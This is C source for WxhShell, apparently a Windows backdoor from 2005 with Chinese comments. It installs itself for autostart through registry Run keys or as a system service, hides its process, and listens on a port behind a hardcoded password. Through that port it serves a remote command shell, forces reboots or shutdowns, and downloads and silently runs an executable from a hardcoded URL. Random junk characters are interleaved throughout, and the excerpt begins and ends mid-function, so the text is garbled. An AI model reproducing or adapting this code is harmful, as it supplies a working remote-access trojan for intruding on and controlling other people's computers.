F8:\/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vi\kB% if(NULL == hInst ) return 0; 3v:c'R0 )+12r6W g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @N+6qO} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CC{{@
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s<fzk1LZ Tq!.M1{& if (!NtQueryInformationProcess) return 0; v[=TPfX0 e6hfgVN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *WZ?C|6+ if(!hProcess) return 0; B/ACU ($*R>*6<x if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /WJ+e eUm,=s CloseHandle(hProcess); k5]`:k6 R}Z2rbt hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 56^#x if(hProcess==NULL) return 0; KPMId`kf W>(p4m HMODULE hMod; ok<!/"RX$ char procName[255]; cr<ty"3\ unsigned long cbNeeded; 4Q
n5Mr@< w2e9Ue~WH if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qB44;!( *HXx;: CloseHandle(hProcess); oBZzMTPe ':LV"c4t if(strstr(procName,"services")) return 1; // 以服务启动 >'96SE3 B_#U|10et return 0; // 注册表启动 $mq@g } i2(lqhaP -x0VvkHu // 主模块 qJf=f3 int StartWxhshell(LPSTR lpCmdLine) ^TCgSi7k`L { ]\Q9j7}37+ SOCKET wsl; W2G@-`, BOOL val=TRUE; P{_Xg,Z int port=0; h,%b>JFo struct sockaddr_in door; ~k[q:$T sJq^>"|J if(wscfg.ws_autoins) Install(); l&4+v.zr @Ap~Wok port=atoi(lpCmdLine); &S|%>C{P.w vgvJ6$# if(port<=0) port=wscfg.ws_port; nFY6K%[ wc.T;( WSADATA data; {Mx3G*hr if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5<?s86GHh' B>"O~ gZ{# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; fKN&0N|^R setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zr
U9oy&!C door.sin_family = AF_INET; Q1?09 door.sin_addr.s_addr = inet_addr("127.0.0.1"); <qpDAz4k door.sin_port = htons(port); g<&n V>wF vsL)E:0 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \vQjTM-7 closesocket(wsl); ~KF>Jow?Y return 1; I"1H]@"= } f R?Xq@c \uTy\KA if(listen(wsl,2) == INVALID_SOCKET) { ++)3*+N+
closesocket(wsl); 7@*l2edXm+ return 1; d} `Z| ex } vOl<
Wxhshell(wsl); @CJ`T& WSACleanup(); 4$^\s5 K >|S&@< return 0; Ja@zeD)f" tB i16= } E"l/r4*f@ 6~@S,i1 // 以NT服务方式启动 @ppT;9<d VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5!pof\/a { HpX ;:/I DWORD status = 0; ~Os1ir. DWORD specificError = 0xfffffff; ^[]@dk9 fd<a%nSD serviceStatus.dwServiceType = SERVICE_WIN32; yK3b^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; Wu!s serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j~Cch%%G serviceStatus.dwWin32ExitCode = 0; f*ICZM serviceStatus.dwServiceSpecificExitCode = 0; I\DH serviceStatus.dwCheckPoint = 0;
RrG5`2 serviceStatus.dwWaitHint = 0; (WISf}[l; v3ky;~ke hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +"i|)yUYy} if (hServiceStatusHandle==0) return; e2X\ll =5v=<, ] status = GetLastError(); Hido[ if (status!=NO_ERROR) G'M;]R9EP { d}Y\;'2, serviceStatus.dwCurrentState = SERVICE_STOPPED; 3iI 4yg serviceStatus.dwCheckPoint = 0; &I|\AG"X} serviceStatus.dwWaitHint = 0; XJ3p< serviceStatus.dwWin32ExitCode = status; ]#fmih^ serviceStatus.dwServiceSpecificExitCode = specificError; Q^H8gsv SetServiceStatus(hServiceStatusHandle, &serviceStatus); >$RQ return; !)1gGXRY } {|E' [K=M;$iQ serviceStatus.dwCurrentState = SERVICE_RUNNING; !G8=S'~~ serviceStatus.dwCheckPoint = 0; 9[5qN!P;y serviceStatus.dwWaitHint = 0; 5(+PIKCjC if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L^{1dVGWNa } y$Rr,]L 8?za&v // 处理NT服务事件,比如:启动、停止 =,])xzG% VOID WINAPI NTServiceHandler(DWORD fdwControl) x/B1\U
I { j+9;Cp]N V switch(fdwControl) <*/IV< { r+D ?_Lk case SERVICE_CONTROL_STOP: FoNkISzW
serviceStatus.dwWin32ExitCode = 0; KmYSYNr@, serviceStatus.dwCurrentState = SERVICE_STOPPED; vR)f'+_Nz serviceStatus.dwCheckPoint = 0; I0qSx{K serviceStatus.dwWaitHint = 0; M&v;#CV { (\8~W*ej" SetServiceStatus(hServiceStatusHandle, &serviceStatus); X9-WU\?UC } x* 9 Xu"? return; ^vHh*Ub case SERVICE_CONTROL_PAUSE: ,l47;@kr serviceStatus.dwCurrentState = SERVICE_PAUSED; Km)VOX[ZZ break; pK|~G."6e case SERVICE_CONTROL_CONTINUE: F{*h~7D-| serviceStatus.dwCurrentState = SERVICE_RUNNING; sc0.!6^'V break; +v.<Fw2k# case SERVICE_CONTROL_INTERROGATE: k',#T932x1 break; $SOFq+-T }; x<'<E@jpU; SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z^[
]s1iP} } w!eY)p< cp)BPg // 标准应用程序主函数 TFAd
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gJZH??b { Uk'bOp Pxvf"SXX // 获取操作系统版本 o}p^q:T* OsIsNt=GetOsVer(); Bc*FH>E GetModuleFileName(NULL,ExeFile,MAX_PATH);
ogvB{R jAcrXB* // 从命令行安装 LG+2?+tE" if(strpbrk(lpCmdLine,"iI")) Install(); jf^BEz5 S
aH':UN // 下载执行文件 PWBcK_4i% if(wscfg.ws_downexe) { &e6!/y& if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /os,s[w WinExec(wscfg.ws_filenam,SW_HIDE); x:6c @2 } 0NF=7 j |E9'ii&?B if(!OsIsNt) { (2ZkfN // 如果时win9x,隐藏进程并且设置为注册表启动 ='t}d>l HideProc(); lv>^P>S(O StartWxhshell(lpCmdLine); we/sv9v}n } eBWgAf.k else "U-dw%b}b if(StartFromService()) 2}n7f7[/b // 以服务方式启动 0T7t. StartServiceCtrlDispatcher(DispatchTable); U0;pl2 else U38~m}c // 普通方式启动 4nrn
Npf`b StartWxhshell(lpCmdLine); UDT\Xc RcC5_@W return 0; q5G`q&O5 } }/lyrjV s1]m^, w{*PZb4 Ew JNpecX =========================================== :,ucJ| PJYUD5 "AP$)xM-: Q5b9q$L$ PIAE6,* 4T-"\tmg/ " r
)HZaq & 'CUc/, #include <stdio.h> $J):yhFs e #include <string.h> =I aWf #include <windows.h> \(RD5@=!4# #include <winsock2.h> Eq%f`Qg+1E #include <winsvc.h> K3Bw3j 9 #include <urlmon.h> pC]XbokES Z5p
[*LMO #pragma comment (lib, "Ws2_32.lib") W4,'?o #pragma comment (lib, "urlmon.lib") <F8e?xy l5 ] #define MAX_USER 100 // 最大客户端连接数 ?;y-skh #define BUF_SOCK 200 // sock buffer {-lpYD^k3 #define KEY_BUFF 255 // 输入 buffer =Oq*9=v| K iEmvC #define REBOOT 0 // 重启 YS#*#!ZMn? #define SHUTDOWN 1 // 关机 Q:|W/RD~ $H)QUFyC #define DEF_PORT 5000 // 监听端口 3vKTCHbk9 `yP`5a/ #define REG_LEN 16 // 注册表键长度 M!kSt1 #define SVC_LEN 80 // NT服务名长度 KIcIYCBz b8_F2 // 从dll定义API peF)U
!`D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4&=</ok6`0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O,9^R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WQ}wQ:] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O5aXa_A_u WrSc@j&Ycv // wxhshell配置信息 co~NXpqg struct WSCFG { Gx8!AmeX int ws_port; // 监听端口 + c+i u6+" char ws_passstr[REG_LEN]; // 口令 |g.CS$'#Nt int ws_autoins; // 安装标记, 1=yes 0=no f9 \$,7F char ws_regname[REG_LEN]; // 注册表键名 J
jm={+@+ char ws_svcname[REG_LEN]; // 服务名 t,Ka]
/I char ws_svcdisp[SVC_LEN]; // 服务显示名 XPU>} 4{ char ws_svcdesc[SVC_LEN]; // 服务描述信息 p_g`f9q6D char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pmo<t6 int ws_downexe; // 下载执行标记, 1=yes 0=no ccrWk*tr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MqB@}! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F3EAjO)ch lKw-C[ }; l'/`2Y1 GdcXU:J / // default Wxhshell configuration &hO-6(^I struct WSCFG wscfg={DEF_PORT, 5E-;4o;RI( "xuhuanlingzhe", aZ4?!JW . 1, nj'5iiV`] "Wxhshell", 0\{dt4nW&O "Wxhshell", 4hy-M>!D| "WxhShell Service", 7;o:r$08&} "Wrsky Windows CmdShell Service", mLqqo2u "Please Input Your Password: ", .@E5dw5 1, jel:oy|_ "http://www.wrsky.com/wxhshell.exe", 3fhY+$tq "Wxhshell.exe" Ai1"UYk\\Y }; D9[19,2r` ["<Xh0_ // 消息定义模块 -n&&d8G^s char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3"7Q[9Oj char *msg_ws_prompt="\n\r? for help\n\r#>"; -0d9,,c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !:!(=(4$P char *msg_ws_ext="\n\rExit."; 'RV96lX< char *msg_ws_end="\n\rQuit."; ZK8)FmT_<O char *msg_ws_boot="\n\rReboot..."; ?"mZb#% char *msg_ws_poff="\n\rShutdown..."; <Z:FY|'s char *msg_ws_down="\n\rSave to "; \jwG*a (vO3vCYeQ char *msg_ws_err="\n\rErr!"; .oyAi|| char *msg_ws_ok="\n\rOK!"; /=S@3?cQAB Uv(R^50> char ExeFile[MAX_PATH]; i90 X0b-A int nUser = 0; Wp>t\S~N HANDLE handles[MAX_USER]; -/pz3n int OsIsNt; ;[}OZt ~i"=:D SERVICE_STATUS serviceStatus; /e0B$UymFu SERVICE_STATUS_HANDLE hServiceStatusHandle; b!]O]dk# oZiW4z*Wh // 函数声明 ;_I>`h"r int Install(void); ?>h
~"D# int Uninstall(void); ksv] int DownloadFile(char *sURL, SOCKET wsh); S&`6pN int Boot(int flag); @KTuG ?. void HideProc(void); 'Gn>~m int GetOsVer(void); V1]GOmXz int Wxhshell(SOCKET wsl); >J7slDRo void TalkWithClient(void *cs); O JcS%-~ int CmdShell(SOCKET sock); Z<i}XCE int StartFromService(void); ,a{85HLr] int StartWxhshell(LPSTR lpCmdLine); 2R&\qZ< :hZM$4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8gP1]xD VOID WINAPI NTServiceHandler( DWORD fdwControl ); UH!(`Z\C @:}c(j // 数据结构和表定义 2t\0vV2)/O SERVICE_TABLE_ENTRY DispatchTable[] = @ b!]Jw { ,W}:vdC {wscfg.ws_svcname, NTServiceMain}, Y"mFUW4 {NULL, NULL} INN}xZ }; )q=F_:$ ..}P$ // 自我安装 ^X96yj'? int Install(void) #dZs[R7h { l(Rn=? char svExeFile[MAX_PATH]; q6>eb HKEY key; e34>q:#5l strcpy(svExeFile,ExeFile); Iq+N0G<j <,M"kF: // 如果是win9x系统,修改注册表设为自启动 Y:!L if(!OsIsNt) { 3+ 6Ed;P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3YvKHn|V" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H>CbMz1u RegCloseKey(key); cU6*y!}9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TF8#I28AD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <o%T] RegCloseKey(key); WWunS|B! return 0; VE+H! ob
A } }^&S^N7 } v6*0@/L
M } %hVR|K|J else { :*Wq%Y=
|[.-pA^ // 如果是NT以上系统,安装为系统服务 <w9~T TS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JIyS e:p3 if (schSCManager!=0) Y}ogwg& { u9!
? SC_HANDLE schService = CreateService ,P a*; o\ ( bIU.C|h@ schSCManager, 2o SM| wscfg.ws_svcname, i=gZ8Q=H wscfg.ws_svcdisp, v #+ECx SERVICE_ALL_ACCESS, !l%: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E.K^v/dNdq SERVICE_AUTO_START, E=8'! SERVICE_ERROR_NORMAL, h1_Z&VJ svExeFile, XKWq{,Ks NULL, I8bM-k):9R NULL, PJ5}c!o[ NULL, q94;x|63 NULL, Jq/itsg NULL Bv<g Vt ); Pe_O( if (schService!=0) DB|1Sqjsn { 'I$FOH CloseServiceHandle(schService); kvwnqaX CloseServiceHandle(schSCManager); -EiTP:A strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
G[k3` strcat(svExeFile,wscfg.ws_svcname); =.3#l@E!C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =z'(FP5!0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -pC'C%Q RegCloseKey(key); X)3(.L return 0; wKM9fs } CTNL-> } WoTeIkM9 CloseServiceHandle(schSCManager); D{+@ ,C7B } ve
d]X! } O)q4^AE$ W![K#r5T return 1; R/~!km } |]< 3cW+ HP8J\` // 自我卸载 tW UI?\ int Uninstall(void) >?@5>wF { AX v
q~XE HKEY key; B'yjMY![
nqy*>X` if(!OsIsNt) { dL0Q8d\^T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MqZ"Js RegDeleteValue(key,wscfg.ws_regname); YZf{."Opj[ RegCloseKey(key); q=X<QhK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I/(U0`% RegDeleteValue(key,wscfg.ws_regname); cpOt?XYR~ RegCloseKey(key); n#P>E(K return 0; 8Yq06o38C } MZt#T+b } k?fz @H8D( } 1K9.3n else { bYP8 ;U'\"N9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DSLX/uo1 if (schSCManager!=0) sOLh'x f. { rnK]3Ust SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q9vND[BQ if (schService!=0) Z,)H f { NMkP#s7.y if(DeleteService(schService)!=0) { 1J!v;Y\\ CloseServiceHandle(schService); J,W$\V]p CloseServiceHandle(schSCManager); 6,=Z4> return 0; c[-N A } ZjxF@`H CloseServiceHandle(schService); XCI } 2 ,nhs,FZ CloseServiceHandle(schSCManager); Ar>B_*dr } #2^0z`-\_z } I">"> WHC/'kvF return 1; +<\LY(o } Tt~4'{Bc ajycYk9<m // 从指定url下载文件 z-
q.8~Z int DownloadFile(char *sURL, SOCKET wsh) Zz} o t { {qw'gJmX HRESULT hr; w,IJ44f ^% char seps[]= "/"; RFbf2s\t char *token; 5mAb9F8@ char *file; I;@q`Tm char myURL[MAX_PATH]; %i\rw*f char myFILE[MAX_PATH]; %i? I q|'#hs strcpy(myURL,sURL); +^9^)Ur| token=strtok(myURL,seps); T}!9T!(HdF while(token!=NULL) B9"d7E#wHF { 4]1/{</B| file=token; wbWC &X. token=strtok(NULL,seps); vL _yM } o+x%q<e;c ;I5P<7VW GetCurrentDirectory(MAX_PATH,myFILE); .J -k^+- strcat(myFILE, "\\"); +\+j/sa strcat(myFILE, file); #eYYu2ND send(wsh,myFILE,strlen(myFILE),0); EF&CV{Sw send(wsh,"...",3,0); Y9mhDznS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tzN9d~JZ if(hr==S_OK) iJOoO"Ai return 0; w&IYCYK_ else Dh^l:q+c return 1; Jm ,:6T \r aP } 8@vq.z} 5!ngM // 系统电源模块 0VvY(j:hp int Boot(int flag) C+\z$/q { $-DW+|p.?^ HANDLE hToken; @|\;#$?XW3 TOKEN_PRIVILEGES tkp; i$pUUK
Q=!QCDO( if(OsIsNt) { (f"Qz~R|6_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %o9mG<.T LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iM!V4Wih6 tkp.PrivilegeCount = 1; CXn?~m&K tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7VfXE/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +;!^aNJ, if(flag==REBOOT) { o?O ZsA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2G|}ENC return 0; euY+jc% } %^W(sB$b else { ]l }v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $
^)g, return 0; dw#pObH|` } 3q'nO-KJ } Wv3p!zW3I else { ^Zpz@T>m if(flag==REBOOT) { jB -Ad8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /p;OZf] return 0; H^*[TX=#[ } e]1)_;b* else { [)}`w;# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &: LE]w return 0; 1_&W1o } GwgY{-|` } 6I~M8Lo; Z>`frL return 1; .4 NcaMj } =sAOWI,8! Yk{4 3yw // win9x进程隐藏模块 4J9Y void HideProc(void) T*k{^=6"! { O?#<kmd/) (<`>B HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i @M^l`w if ( hKernel != NULL ) |v>W { "2!5g )iO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f#38QP-T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); laCVj6Rk FreeLibrary(hKernel); 2zsDb'r } 3cqc< ckdCd
J return; YFcMU5_F } lE bV)&' it j&L <e // 获取操作系统版本 )x,-O#"A int GetOsVer(void) T~lHm { uMFV^&ZF OSVERSIONINFO winfo; :2t?0YR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ){J ,Z*& GetVersionEx(&winfo); -<\hcV`& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FYaBP;@J% return 1; #FGj)pu else sVS),9\} return 0; E_xCRfw_i] } |'k7 ;UW GQ9H>Ssz // 客户端句柄模块 }1Hy[4B(k\ int Wxhshell(SOCKET wsl) I&&[ ': { ,Igd<A= SOCKET wsh; 2reQd47 struct sockaddr_in client; NW*$+u%/R DWORD myID; Vg`32nRN "V4ru&a while(nUser<MAX_USER) 3r2e_?m { #"JtH"pF int nSize=sizeof(client); [@/x
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IDt7KJ@hc if(wsh==INVALID_SOCKET) return 1; KupQtT< O1z3( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,h9N,bIQg if(handles[nUser]==0) 3AC/;WB9 closesocket(wsh); G8CM else w"FBJULzn9 nUser++; =@ed{~ } /80RO:'7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )cRP6 = 68a return 0; "xMnD(p } |s[k= /~" ujoJ6UOG // 关闭 socket g5hMZPOmP void CloseIt(SOCKET wsh) I(0 *cWO { uU`Mq8)R closesocket(wsh); l%xjCuuhU nUser--; l 1Ns~ ExitThread(0); D"GQlR } +m1y#|08 CoQ<Ky}* // 客户端请求句柄 2mPU / void TalkWithClient(void *cs) Q$=X
?{ { |7E1yu
T.#Vma SOCKET wsh=(SOCKET)cs; 6#Afj0 char pwd[SVC_LEN]; U=\!`_f': char cmd[KEY_BUFF]; q5ja \ char chr[1]; Z'4oE
) int i,j; DH{^9HK bZzB\FB~ while (nUser < MAX_USER) { ^Y+P(o$HM jun$CY4 if(wscfg.ws_passstr) { HD{2nZT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tU>?j1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yM*f}S/
( //ZeroMemory(pwd,KEY_BUFF); qK12: i=0; gKWsmx![" while(i<SVC_LEN) { EnnE@BJ" s^Rig[ // 设置超时 ,5HC&@ fd_set FdRead; UU"' struct timeval TimeOut; jxNnrIA FD_ZERO(&FdRead); =^S1+B
MY- FD_SET(wsh,&FdRead); iF'qaqHWY4 TimeOut.tv_sec=8; ;ax%H @o TimeOut.tv_usec=0; a!Ht81gj int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SK G!DKQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ftwn<B ] B3\IT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~_Q1+ax} pwd=chr[0]; y ZR\(\?< if(chr[0]==0xd || chr[0]==0xa) { 1/%g
VB8 pwd=0; ),]XN#jp(u break; Rt2<F-gY } Fl0 :Z i++; 78-D/WY/X } \zGmZZ EsKOzl[c: // 如果是非法用户,关闭 socket j$jgEtPK9= if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q7ubRak } $~FnBD%|{ |v31weD8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1xzOD@=dI send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7\nR'MOZ aokV'6 while(1) { iX\]-_D }{(J*T ZeroMemory(cmd,KEY_BUFF); HHcWyu bfl%yGkd/| // 自动支持客户端 telnet标准 S@[B?sNj j=0; 5
i;n:&Y while(j<KEY_BUFF) { qGrUS_~q* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r;
pS_PV cmd[j]=chr[0]; ]p5]n*0X if(chr[0]==0xa || chr[0]==0xd) { $:D-dUr1 cmd[j]=0; "{"745H5 break; 052ezh_ } lZf=# j++; .\:{6_ } h<I C
d'! h}knn3"S // 下载文件 .R5(k'g? if(strstr(cmd,"http://")) { '&42E[0P send(wsh,msg_ws_down,strlen(msg_ws_down),0); &x>8
%Q s if(DownloadFile(cmd,wsh)) vS'l@`Eg] send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,wPvv(b]a else :j}4F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k^C^.[? } 0P7sMCYu else { 2=V~n)'a R7Z7o4jg switch(cmd[0]) { ilr'<5rq {sb2r%U!+ // 帮助 Wi%e9r{hU case '?': { S2,tv send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z8-dntkf break; TQ&1!~L* } ;VW->ia6 // 安装 N&jHU+{OU case 'i': { SQ0?M\D7 if(Install()) N6UPD11}6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); +pG[
[}/ else -lqsFaW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =
iXHu
*g break; 7*I:cga } X4I+ // 卸载 ScCA8JgY case 'r': { yhG%@vSq if(Uninstall()) QpI\\Zt6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); @/f'i9?oM` else -~=?g9fGm6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hy|Yy&- break; MR3\7D+9y } 4];<`
% // 显示 wxhshell 所在路径 y)*W!]:7^> case 'p': { ;]\>jC char svExeFile[MAX_PATH]; -50Qy[0. " strcpy(svExeFile,"\n\r"); Bj*\)lG<
strcat(svExeFile,ExeFile); a>8&B send(wsh,svExeFile,strlen(svExeFile),0); *F;W 1TF break; aGbHDo } PP& |